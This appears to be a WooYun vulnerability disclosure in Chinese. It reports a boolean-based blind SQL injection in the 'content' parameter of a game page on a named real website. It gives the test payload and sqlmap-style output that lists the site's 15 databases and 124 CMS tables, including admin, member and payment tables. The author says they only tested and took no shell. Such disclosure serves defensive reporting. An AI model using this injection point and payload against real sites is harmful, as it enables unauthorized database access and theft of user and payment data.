WooYun.org

漏洞测试地址:
www.kumi.cn/360/xiaoyouxi/game.php?content=17613
先说下：只做安全测试不拿shell！！！！
漏洞测试相关结果：
Place: GET
Parameter: content
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: content=17613 AND 3739=3739
available databases [15]:
[*] information_schema
[*] kumi_app
[*] kumi_cms2
[*] kumi_dingzhi
[*] kumi_eduflash
[*] kumi_eduflash1
[*] kumi_ipad_donghua
[*] kumi_news
[*] kumi_search
[*] kumi_tudou
[*] kumi_upload
[*] miyadalu
[*] mysql
[*] test
[*] xiaoyouxi
初步检测标段信息：
Database: kumi_cms2
[124 tables]
+---------------------------------------+
| cms_admin |
| cms_admin_role |
| cms_admin_role_priv |
| cms_ads |
| cms_ads_place |
| cms_ads_stat |
| cms_announce |
| cms_area |
| cms_ask |
| cms_ask_actor |
| cms_ask_credit |
| cms_ask_posts |
| cms_ask_vote |
| cms_attachment |
| cms_author |
| cms_block |
| cms_c_cooperate |
| cms_c_down |
| cms_c_flash |
| cms_c_flv |
| cms_c_group |
| cms_c_info |
| cms_c_ku6video |
| cms_c_news |
| cms_c_photo |
| cms_c_picture |
| cms_c_product |
| cms_c_program |
| cms_c_star |
| cms_c_upload |
| cms_c_video |
| cms_c_vod |
| cms_c_voting |
| cms_c_wallpaper |
| cms_c_wallpaper_photo |
| cms_c_yunshi |
| cms_cache_count |
| cms_category |
| cms_collect |
| cms_comment |
| cms_content |
| cms_content_count |
| cms_content_position |
| cms_content_tag |
| cms_copyfrom |
| cms_datasource |
| cms_digg |
| cms_digg_log |
| cms_donghua_pic |
| cms_donghua_pic_bak |
| cms_editor_data |
| cms_hits |
| cms_ipbanned |
| cms_keylink |
| cms_keyword |
| cms_log |
| cms_member |
| cms_member_cache |
| cms_member_detail |
| cms_member_group |
| cms_member_group_extend |
| cms_member_group_priv |
| cms_member_info |
| cms_menu |
| cms_model |
| cms_model_field |
| cms_module |
| cms_mood |
| cms_mood_data |
| cms_order |
| cms_order_deliver |
| cms_order_log |
| cms_pay_card |
| cms_pay_exchange |
| cms_pay_payment |
| cms_pay_pointcard_type |
| cms_pay_stat |
| cms_pay_user_account |
| cms_player |
| cms_position |
| cms_process |
| cms_process_status |
| cms_recommend |
| cms_recommend_info |
| cms_recommend_pic |
| cms_recommend_type |
| cms_role |
| cms_search |
| cms_search_type |
| cms_session |
| cms_sohu |
| cms_sohu_list |
| cms_special |
| cms_special_content |
| cms_status |
| cms_times |
| cms_type |
| cms_urlrule |
| cms_workflow |
| cms_zw_vote |
| cms_zw_voteip |
| disney_diaocha |
| kumi_bless |
| kumi_dell |
| kumi_ef |
| kumi_jiajia |
| kumi_mood |
| kumi_mood_ranking |
| kumi_ndj |
| kumi_player |
| kumi_player_bak |
| kumi_program_bbs_mapping |
| kumi_program_flash_mapping |
| kumi_program_flv_mapping |
| kumi_program_group_mapping |
| kumi_program_photo_mapping |
| kumi_program_star_mapping |
| kumi_program_type_mapping |
| kumi_risi |
| kumi_uploadvideo |
| last_video |
| nicaihua_ip |
| update_contents |
| yunshi |
+---------------------------------------+
太多信息了就不深入了。